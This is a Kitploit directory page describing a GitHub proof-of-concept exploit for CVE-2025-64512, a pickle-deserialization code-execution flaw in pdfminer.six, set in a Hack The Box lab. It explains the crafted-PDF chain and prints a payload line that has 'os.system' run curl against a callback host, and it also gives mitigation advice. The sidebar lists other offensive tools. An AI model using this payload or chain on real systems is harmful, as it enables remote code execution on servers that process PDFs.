Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-64512-Exploit-PoC — Proof-of-concept exploit for CVE-2025-64512, an unsafe pickle deserialization RCE in pdfminer.six, with a crafted PDF payload chain and lab demonstration. | Kitploit
Ferramentas/GitHubGitHub/frexyy8989/cve-2025-64512-exploit-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubfrexyy8989/cve-2025-64512-exploit-poc

CVE-2025-64512-Exploit-PoC

Proof-of-concept exploit for CVE-2025-64512, an unsafe pickle deserialization RCE in pdfminer.six, with a crafted PDF payload chain and lab demonstration.

Ver Repositório
5 de dez. de 2026Ainda não revisado
Compartilhar
Conteúdo não disponível no idioma solicitado. Mostrando versão em inglês.

CVE-2025-64512 – pdfminer.six PoC & Exploit

An independent Proof of Concept (PoC) implementation for CVE-2025-64512, a code execution vulnerability affecting pdfminer.six through unsafe pickle deserialization.

This repository demonstrates the vulnerability mechanism and includes an example based on the Bedside machine from Hack The Box.

Disclaimer: This is an independent research project. I am not the original vulnerability discoverer. All credit for the original discovery belongs to the researchers credited in the official security advisory.

Vulnerability Information

FieldDetails
CVECVE-2025-64512
Projectpdfminer.six
VulnerabilityArbitrary Code Execution
CWECWE-502 – Deserialization of Untrusted Data
SeverityHigh
CVSS8.2
Official AdvisoryGHSA-wf5f-4jwr-ppcp

How It Works

The vulnerability is related to unsafe pickle deserialization in CMapDB._load_data().

The function loads compressed pickle data using pickle.loads(). A crafted PDF can specify an alternative CMap path through its /Encoding entry.

When the PDF is processed, pdfminer attempts to load the corresponding .pickle.gz file. If an attacker-controlled pickle file is loaded, Python code can execute in the context of the process.

The general vulnerability chain is:

  1. A crafted PDF specifies an alternative CMap path.
  2. pdfminer resolves the CMap filename.
  3. The .pickle.gz file is loaded.
  4. Unsafe pickle deserialization occurs.
  5. The embedded Python code is evaluated.

Configuration

The PoC contains two values that need to be adapted to the authorized test environment:

path = "/path/of/pwn/gz"
code = "os.system('PAYLOAD') or exit(0) or {}"
  • path: The CMap path referenced by the crafted PDF. pdfminer appends .pickle.gz to the name.
  • code: The Python expression used in the demonstration payload.

Bedside – Hack The Box Example

For my Bedside HTB lab testing, the example configuration uses:

path = "/var/www/research.bedside.htb/uploads/pwn"
code = "os.system('curl 10.10.14.201:9999/frexy') or exit(0) or {}"

Replace the example callback address with the address of your own authorized lab machine.

Important: On Linux, the referenced .pickle.gz file must exist at the corresponding path on the target filesystem. Creating the file locally does not automatically place it on the target. The PDF path and the pickle file location must match.

Requirements

  • Python 3
  • pdfminer.six
  • Access to an authorized vulnerable test environment

Usage

  1. Clone this repository.
  2. Install the required dependencies.
  3. Configure the PoC paths and test parameters.
  4. Generate the demonstration files.
  5. Submit the PDF to your authorized test environment.
  6. Observe whether the vulnerable PDF processing path is triggered.

Mitigation

Upgrade pdfminer.six to a patched release.

Refer to the official advisory for affected versions and remediation details:

https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp

References

  • Official GitHub Security Advisory
  • pdfminer.six GitHub Repository

Author

Independent security research and PoC implementation.

This repository is intended for educational purposes, authorized penetration testing, and controlled lab environments only.

Ferramentas relacionadas

  • metasploit-framework

    Framework de exploração de código aberto com sistema modular de payload, codificador e auxiliar para testes de penetração, validação de vulnerabilidades e pesquisa de segurança em redes e aplicações.

  • donut

    Gera shellcode independente de posição para x86, x64 ou AMD64+x86 que carrega assemblies .NET, arquivos PE e outros payloads do Windows a partir da memória e os executa com parâmetros.

  • sRDI

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    750
  • 2

    IMSIcatcher

    28zaaky/imsicatcher

    Plataforma IMSI Catcher que implanta uma célula GSM falsa para intercetar SMS, injetar mensagens e rastrear dispositivos móveis

    739
  • 3

    Callisto

    jetp1ane/callisto

    Ferramenta automatizada de análise de vulnerabilidades binárias que descompila executáveis via Ghidra, verifica código pseudo-C com Semgrep e valida descobertas usando GPT-3.5-Turbo para reduzir falsos positivos.

    585
  • 4

    opencti

    opencti-platform/opencti

    Plataforma Aberta de Inteligência de Ameaças Cibernéticas

    550
  • 5

    DFRoot

    a2333c/dfroot

    Ferramenta de root para Android para Samsung Galaxy S25 Ultra (SM-S938B) que encadeia DirtyFrag CVE-2026-43284 e CVE-2026-43499 para obter root automaticamente no boot via KernelSU.

    414
  • 6

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    409

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Baixar ferramenta

Implementação em shellcode de injeção reflexiva de DLL. Converta DLLs em shellcode independente de posição.